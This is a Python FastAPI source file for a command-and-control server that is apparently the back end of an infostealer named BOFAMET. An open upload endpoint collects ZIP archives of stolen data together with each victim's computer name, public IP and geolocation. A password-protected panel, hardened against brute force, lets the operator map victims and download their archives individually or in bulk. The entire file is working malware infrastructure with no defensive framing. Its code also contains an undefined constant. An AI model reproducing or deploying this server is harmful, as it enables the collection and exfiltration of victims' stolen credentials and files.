from fastapi import FastAPI, UploadFile, File, Form, Request, HTTPException, Depends from fastapi.responses import HTMLResponse, FileResponse, RedirectResponse, JSONResponse from fastapi.templating import Jinja2Templates from starlette.middleware.sessions import SessionMiddleware from starlette import status import uvicorn import sqlite3 import os import datetime import zipfile import shutil import re import json from typing import List, Dict from starlette.background import BackgroundTasks import sys import subprocess from fastapi.staticfiles import StaticFiles NOHUP_LOG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'nohup.out') CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'config.json') VALID_USERNAME = None VALID_PASSWORD = None LISTEN_PORT = None GLOBAL_SECRET_KEY = None app_config = { 'UPLOAD_FOLDER': 'uploads', 'DATABASE': 'c2_logs.db', 'PORT': 8000 } if not os.path.exists(app_config['UPLOAD_FOLDER']): os.makedirs(app_config['UPLOAD_FOLDER']) templates = Jinja2Templates(directory="templates") failed_login_attempts = {} blocked_ips = {} MAX_LOGIN_ATTEMPTS = 5 BLOCK_DURATION_MINUTES = 5 failed_login_attempts_global = 0 panel_permanently_blocked = False BLOCK_DURATION = datetime.timedelta(minutes=5) MAX_GLOBAL_FAILED_ATTEMPTS = 100 def init_db(): conn = sqlite3.connect(app_config['DATABASE']) cursor = conn.cursor() cursor.execute(''' CREATE TABLE IF NOT EXISTS logs ( id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp TEXT NOT NULL, ip_address TEXT, computer_name TEXT, system_info_text TEXT, file_path TEXT NOT NULL, public_ip TEXT, latitude REAL, longitude REAL ) ''') conn.commit() conn.close() def load_server_config(): global VALID_USERNAME, VALID_PASSWORD, LISTEN_PORT, GLOBAL_SECRET_KEY if os.path.exists(CONFIG_FILE): try: with open(CONFIG_FILE, 'r') as f: config_data = json.load(f) VALID_USERNAME = config_data.get('username') VALID_PASSWORD = config_data.get('password') LISTEN_PORT = config_data.get('port') GLOBAL_SECRET_KEY = bytes.fromhex(config_data.get('secret_key')) print("Server config loaded by server.py.") return True except (json.JSONDecodeError, KeyError, ValueError) as e: print(f"CRITICAL ERROR: Failed to load server configuration from {CONFIG_FILE}: {e}") print("Please run 'python Config_C2.py' to configure the server first!") sys.exit(1) else: print(f"CRITICAL ERROR: Configuration file '{CONFIG_FILE}' not found.") print("Please run 'python Config_C2.py' to configure the server first!") sys.exit(1) load_server_config() app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None) app.mount("/static", StaticFiles(directory="static"), name="static") if GLOBAL_SECRET_KEY: app.add_middleware(SessionMiddleware, secret_key=GLOBAL_SECRET_KEY) else: print("CRITICAL ERROR: GLOBAL_SECRET_KEY not loaded. This should have been caught earlier.") sys.exit(1) app_config['PORT'] = LISTEN_PORT init_db() async def authenticate_user(request: Request): if panel_permanently_blocked: raise HTTPException( status_code=status.HTTP_403_FORBIDDEN, detail="Panel permanently blocked due to suspicious activity.", ) if "authenticated" not in request.session or not request.session["authenticated"]: raise HTTPException( status_code=status.HTTP_303_SEE_OTHER, detail="Not authenticated", headers={"Location": "/login"} ) current_ip = request.client.host session_ip = request.session.get('client_ip') if session_ip and session_ip != current_ip: request.session.clear() raise HTTPException( status_code=status.HTTP_303_SEE_OTHER, detail="IP address change detected, re-authentication required.", headers={"Location": "/login"} ) @app.get("/login", response_class=HTMLResponse) async def login_page(request: Request): return templates.TemplateResponse("login.html", {"request": request}) @app.post("/login") async def process_login(request: Request, username: str = Form(...), password: str = Form(...)): global failed_login_attempts_global, panel_permanently_blocked if panel_permanently_blocked: error_message = "Admin panel permanently blocked due to multiple suspicious login attempts. Server restart required." return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN) client_ip = request.client.host if client_ip in blocked_ips and datetime.datetime.now() < blocked_ips[client_ip]: remaining_time = blocked_ips[client_ip] - datetime.datetime.now() total_seconds = int(remaining_time.total_seconds()) minutes = total_seconds // 60 seconds = total_seconds % 60 error_message = f"Your IP address is blocked. Remaining {minutes} minutes and {seconds} seconds." return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN) if username == VALID_USERNAME and password == VALID_PASSWORD: request.session['authenticated'] = True request.session['client_ip'] = client_ip if client_ip in failed_login_attempts: del failed_login_attempts[client_ip] failed_login_attempts_global = 0 return RedirectResponse(url="/", status_code=status.HTTP_302_FOUND) else: failed_login_attempts_global += 1 if failed_login_attempts_global >= MAX_GLOBAL_ATTEMPTS: panel_permanently_blocked = True error_message = "Admin panel permanently blocked due to excessive number of failed login attempts from different IP addresses." return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN) failed_login_attempts[client_ip] = failed_login_attempts.get(client_ip, 0) + 1 if failed_login_attempts[client_ip] >= MAX_LOGIN_ATTEMPTS: blocked_until = datetime.datetime.now() + datetime.timedelta(minutes=BLOCK_DURATION_MINUTES) blocked_ips[client_ip] = blocked_until del failed_login_attempts[client_ip] error_message = f"Too many incorrect attempts. Your IP address is blocked for {BLOCK_DURATION_MINUTES} minutes." return templates.TemplateResponse("login.html", {"request": request, "error_message": error_message}, status_code=status.HTTP_403_FORBIDDEN) else: return templates.TemplateResponse("login.html", {"request": request, "error_message": "Invalid username or password."}) @app.get("/logout") async def logout(request: Request): request.session.clear() return RedirectResponse(url="/login", status_code=status.HTTP_302_FOUND) @app.get("/", response_class=HTMLResponse, dependencies=[Depends(authenticate_user)]) async def index(request: Request): conn = sqlite3.connect(app_config['DATABASE']) conn.row_factory = sqlite3.Row cursor = conn.cursor() cursor.execute("SELECT * FROM logs ORDER BY timestamp DESC") logs_raw = cursor.fetchall() conn.close() logs_for_template = [] for log_entry in logs_raw: log_dict = dict(log_entry) path_parts = log_dict['file_path'].split(os.sep) uploads_index = -1 try: uploads_index = path_parts.index(app_config['UPLOAD_FOLDER']) except ValueError: folder_name = path_parts[-2] if len(path_parts) >= 2 else "" file_name = path_parts[-1] else: if uploads_index + 2 < len(path_parts): folder_name = path_parts[uploads_index + 1] file_name = path_parts[uploads_index + 2] else: folder_name = "" file_name = path_parts[-1] log_dict['download_url'] = request.url_for('download_file', folder_name=folder_name, file_name=file_name) log_dict['file_name_display'] = file_name logs_for_template.append(log_dict) return templates.TemplateResponse("index.html", {"request": request, "logs": logs_for_template}) @app.get("/api/locations", response_model=List[Dict], dependencies=[Depends(authenticate_user)]) async def get_locations_for_map(): conn = sqlite3.connect(app_config['DATABASE']) cursor = conn.cursor() cursor.execute("SELECT id, timestamp, computer_name, public_ip, latitude, longitude FROM logs WHERE latitude IS NOT NULL AND longitude IS NOT NULL") locations_raw = cursor.fetchall() conn.close() locations_data = [] for loc_id, timestamp, computer_name, public_ip, lat, lon in locations_raw: locations_data.append({ "id": loc_id, "timestamp": timestamp, "computer_name": computer_name, "public_ip": public_ip, "latitude": lat, "longitude": lon }) return JSONResponse(content=locations_data) @app.get("/api/server_logs_data", dependencies=[Depends(authenticate_user)]) async def get_server_logs_data(): log_content = "No server logs found or 'nohup.out' file does not exist." try: if os.path.exists(NOHUP_LOG_FILE): with open(NOHUP_LOG_FILE, 'r', encoding='utf-8', errors='ignore') as f: log_content = f.read() else: log_content = f"Server log file '{NOHUP_LOG_FILE}' not found." except Exception as e: log_content = f"Error reading server log file: {e}" print(f"ERROR: Failed to read {NOHUP_LOG_FILE}: {e}") return JSONResponse(content={"log_content": log_content}) @app.get("/download_all_logs", dependencies=[Depends(authenticate_user)]) async def download_all_logs(background_tasks: BackgroundTasks): temp_zip_filename = f"BOFAMET_All_Logs_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.zip" temp_zip_path = os.path.join(app_config['UPLOAD_FOLDER'], temp_zip_filename) try: with zipfile.ZipFile(temp_zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, _, files in os.walk(app_config['UPLOAD_FOLDER']): for file in files: if file.endswith('.zip') or file.endswith('.txt'): full_path = os.path.join(root, file) arcname = os.path.relpath(full_path, app_config['UPLOAD_FOLDER']) zipf.write(full_path, arcname) background_tasks.add_task(os.remove, temp_zip_path) return FileResponse(temp_zip_path, media_type="application/zip", filename=temp_zip_filename, headers={"Content-Disposition": f"attachment; filename={temp_zip_filename}"}) except Exception as e: print(f"Error creating or sending bulk archive: {e}") raise HTTPException(status_code=500, detail="Error creating log archive!") @app.post("/upload") async def upload_log(request: Request, file: UploadFile = File(...), system_info: str = Form(...), latitude: float = Form(0.0), longitude: float = Form(0.0)): if not file: return {"message": "No file provided"}, 400 if file.filename == '': return {"message": "Empty file name"}, 400 if not file.filename.lower().endswith('.zip'): raise HTTPException( status_code=status.HTTP_400_BAD_REQUEST, detail="Only ZIP archives are allowed!" ) timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") client_ip = request.client.host computer_name_match = re.search(r"🖥️ Computer: (.*?)", system_info) public_ip_match = re.search(r"🌍 Public IP: (.*?)", system_info) computer_name = computer_name_match.group(1) if computer_name_match else "Unknown computer" public_ip = public_ip_match.group(1) if public_ip_match else "Unknown IP" conn = sqlite3.connect(app_config['DATABASE']) cursor = conn.cursor() cursor.execute( "SELECT id, file_path FROM logs WHERE computer_name = ? AND public_ip = ?", (computer_name, public_ip) ) existing_log = cursor.fetchone() if existing_log: old_log_id, old_file_path = existing_log old_log_folder = os.path.dirname(old_file_path) cursor.execute("DELETE FROM logs WHERE id = ?", (old_log_id,)) conn.commit() if os.path.exists(old_log_folder) and os.path.isdir(old_log_folder): try: shutil.rmtree(old_log_folder) print(f"Old log folder deleted: {old_log_folder}") except Exception as e: print(f"Error deleting old log folder {old_log_folder}: {e}") else: print(f"Old log folder not found or is not a directory: {old_log_folder}") log_folder_name = f"{public_ip}_{computer_name}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}" log_folder_path = os.path.join(app_config['UPLOAD_FOLDER'], log_folder_name) os.makedirs(log_folder_path, exist_ok=True) file_save_path = os.path.join(log_folder_path, file.filename) with open(file_save_path, "wb") as buffer: shutil.copyfileobj(file.file, buffer) info_file_path = os.path.join(log_folder_path, "system_info.txt") with open(info_file_path, 'w', encoding='utf-8') as f: f.write(system_info) cursor.execute( "INSERT INTO logs (timestamp, ip_address, computer_name, system_info_text, file_path, public_ip, latitude, longitude) VALUES (?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, client_ip, computer_name, system_info, file_save_path, public_ip, latitude, longitude) ) conn.commit() conn.close() return {"message": "Log uploaded successfully!"} @app.get("/download/{folder_name}/{file_name}", dependencies=[Depends(authenticate_user)]) async def download_file(folder_name: str, file_name: str): full_file_path = os.path.join(app_config['UPLOAD_FOLDER'], folder_name, file_name) if not os.path.exists(full_file_path): return {"message": "File not found!"}, 404 return FileResponse(full_file_path, media_type="application/zip", filename=file_name) if __name__ == '__main__': load_server_config() app.SECRET_KEY = GLOBAL_SECRET_KEY app.add_middleware(SessionMiddleware, secret_key=app.SECRET_KEY) app_config['PORT'] = LISTEN_PORT init_db() print(f"Starting server on http://0.0.0.0:{app_config['PORT']}") uvicorn.run(app, host='0.0.0.0', port=app_config['PORT'])